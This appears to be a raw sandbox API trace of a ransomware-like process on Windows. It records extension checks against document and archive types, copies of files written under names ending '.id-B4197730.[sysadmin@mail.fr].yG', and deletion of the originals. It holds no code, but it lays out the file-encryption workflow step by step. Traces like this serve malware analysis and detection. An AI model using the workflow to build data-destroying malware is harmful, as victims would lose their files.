	[0135.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0135.068] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=215) returned 1
	[0135.068] CloseHandle (hObject=0x390) returned 1
	[0135.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20
	[0135.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0135.069] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0135.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0135.070] lstrlenW (lpString=".doc") returned 4
	[0135.070] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0135.070] lstrlenW (lpString=".docx") returned 5
	[0135.070] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0135.070] lstrlenW (lpString=".pdf") returned 4
	[0135.070] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0135.070] lstrlenW (lpString=".xls") returned 4
	[0135.070] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0135.070] lstrlenW (lpString=".xlsx") returned 5
	[0135.070] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0135.070] lstrlenW (lpString=".ppt") returned 4
	[0135.070] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0135.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0135.070] lstrlenW (lpString=".zip") returned 4
	[0135.070] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0135.070] lstrlenW (lpString=".rar") returned 4
	[0135.070] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0135.070] lstrlenW (lpString=".bz2") returned 4
	[0135.070] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0135.073] lstrlenW (lpString=".7z") returned 3
	[0135.073] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0135.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0135.088] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x394aec0, Size=0x2000) returned 0x394aec0
	[0135.088] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0135.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0138.171] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.171] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0138.237] GetLastError () returned 0x0
	[0138.237] ReadFile (in: hFile=0x424, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x8b4, lpOverlapped=0x0) returned 1
	[0138.398] WriteFile (in: hFile=0x49c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0138.407] ReadFile (in: hFile=0x424, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.407] WriteFile (in: hFile=0x49c, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.407] SetEndOfFile (hFile=0x49c) returned 1
	[0138.407] CloseHandle (hObject=0x49c) returned 1
	[0138.407] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.407] SetEndOfFile (hFile=0x424) returned 1
	[0138.410] CloseHandle (hObject=0x424) returned 1
	[0138.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.411] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1
	[0138.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.411] lstrlenW (lpString=".doc") returned 4
	[0138.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.411] lstrlenW (lpString=".docx") returned 5
	[0138.411] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.411] lstrlenW (lpString=".pdf") returned 4
	[0138.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.412] lstrlenW (lpString=".xls") returned 4
	[0138.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.412] lstrlenW (lpString=".xlsx") returned 5
	[0138.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.412] lstrlenW (lpString=".ppt") returned 4
	[0138.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.412] lstrlenW (lpString=".zip") returned 4
	[0138.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.412] lstrlenW (lpString=".rar") returned 4
	[0138.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.412] lstrlenW (lpString=".bz2") returned 4
	[0138.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.412] lstrlenW (lpString=".7z") returned 3
	[0138.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.412] lstrlenW (lpString=".dbf") returned 4
	[0138.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.412] lstrlenW (lpString=".1cd") returned 4
	[0138.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.412] lstrlenW (lpString=".jpg") returned 4
	[0138.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.412] lstrlenW (lpString=".doc") returned 4
	[0138.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.412] lstrlenW (lpString=".docx") returned 5
	[0138.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.413] lstrlenW (lpString=".pdf") returned 4
	[0138.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.413] lstrlenW (lpString=".xls") returned 4
	[0138.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.413] lstrlenW (lpString=".xlsx") returned 5
	[0138.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.413] lstrlenW (lpString=".ppt") returned 4
	[0138.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.413] lstrlenW (lpString=".zip") returned 4
	[0138.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.413] lstrlenW (lpString=".rar") returned 4
	[0138.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.413] lstrlenW (lpString=".bz2") returned 4
	[0138.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.413] lstrlenW (lpString=".7z") returned 3
	[0138.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.413] lstrlenW (lpString=".dbf") returned 4
	[0138.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.413] lstrlenW (lpString=".1cd") returned 4
	[0138.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68
	[0138.413] lstrlenW (lpString=".jpg") returned 4
	[0138.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.414] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.414] lstrlenW (lpString="DD01169_.WMF") returned 12
	[0138.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0139.006] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2020) returned 1
	[0139.006] CloseHandle (hObject=0x48c) returned 1
	[0139.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220
	[0139.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0139.007] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.007] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0139.456] GetLastError () returned 0x0
	[0139.456] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x7e4, lpOverlapped=0x0) returned 1
	[0139.556] WriteFile (in: hFile=0x498, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0139.557] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.557] WriteFile (in: hFile=0x498, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0139.557] SetEndOfFile (hFile=0x498) returned 1
	[0139.557] CloseHandle (hObject=0x498) returned 1
	[0139.558] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.558] SetEndOfFile (hFile=0x48c) returned 1
	[0139.611] CloseHandle (hObject=0x48c) returned 1
	[0139.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0139.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1
	[0139.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.612] lstrlenW (lpString=".doc") returned 4
	[0139.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.612] lstrlenW (lpString=".docx") returned 5
	[0139.612] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.612] lstrlenW (lpString=".pdf") returned 4
	[0139.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.613] lstrlenW (lpString=".xls") returned 4
	[0139.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.613] lstrlenW (lpString=".xlsx") returned 5
	[0139.613] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.613] lstrlenW (lpString=".ppt") returned 4
	[0139.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.613] lstrlenW (lpString=".zip") returned 4
	[0139.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.613] lstrlenW (lpString=".rar") returned 4
	[0139.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.613] lstrlenW (lpString=".bz2") returned 4
	[0139.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.613] lstrlenW (lpString=".7z") returned 3
	[0139.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.613] lstrlenW (lpString=".dbf") returned 4
	[0139.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.613] lstrlenW (lpString=".1cd") returned 4
	[0139.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.613] lstrlenW (lpString=".jpg") returned 4
	[0139.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.614] lstrlenW (lpString=".doc") returned 4
	[0139.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.614] lstrlenW (lpString=".docx") returned 5
	[0139.614] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.614] lstrlenW (lpString=".pdf") returned 4
	[0139.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.614] lstrlenW (lpString=".xls") returned 4
	[0139.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.614] lstrlenW (lpString=".xlsx") returned 5
	[0139.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.614] lstrlenW (lpString=".ppt") returned 4
	[0139.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.614] lstrlenW (lpString=".zip") returned 4
	[0139.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.614] lstrlenW (lpString=".rar") returned 4
	[0139.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.614] lstrlenW (lpString=".bz2") returned 4
	[0139.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.614] lstrlenW (lpString=".7z") returned 3
	[0139.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.614] lstrlenW (lpString=".dbf") returned 4
	[0139.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.615] lstrlenW (lpString=".1cd") returned 4
	[0139.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0139.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0139.615] lstrlenW (lpString=".jpg") returned 4
	[0139.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0139.615] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0139.615] lstrlenW (lpString="DD01181_.WMF") returned 12
	[0139.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0139.616] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=1448) returned 1
	[0139.616] CloseHandle (hObject=0x48c) returned 1
	[0139.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220
	[0139.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0139.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0139.617] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.617] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0139.617] GetLastError () returned 0x0
	[0139.617] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x5a8, lpOverlapped=0x0) returned 1
	[0139.637] WriteFile (in: hFile=0x4a8, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0139.638] ReadFile (in: hFile=0x48c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0139.638] WriteFile (in: hFile=0x4a8, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0139.638] SetEndOfFile (hFile=0x4a8) returned 1
	[0139.638] CloseHandle (hObject=0x4a8) returned 1
	[0139.638] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0139.638] SetEndOfFile (hFile=0x48c) returned 1
	[0139.641] CloseHandle (hObject=0x48c) returned 1
	[0139.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0139.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1
	[0139.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.642] lstrlenW (lpString=".doc") returned 4
	[0139.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0139.642] lstrlenW (lpString=".docx") returned 5
	[0139.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0139.642] lstrlenW (lpString=".pdf") returned 4
	[0139.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0139.642] lstrlenW (lpString=".xls") returned 4
	[0139.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0139.642] lstrlenW (lpString=".xlsx") returned 5
	[0139.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0139.643] lstrlenW (lpString=".ppt") returned 4
	[0139.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0139.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.643] lstrlenW (lpString=".zip") returned 4
	[0139.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0139.643] lstrlenW (lpString=".rar") returned 4
	[0139.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0139.643] lstrlenW (lpString=".bz2") returned 4
	[0139.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0139.643] lstrlenW (lpString=".7z") returned 3
	[0139.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0139.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.643] lstrlenW (lpString=".dbf") returned 4
	[0139.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0139.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0139.643] lstrlenW (lpString=".1cd") returned 4
	[0139.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
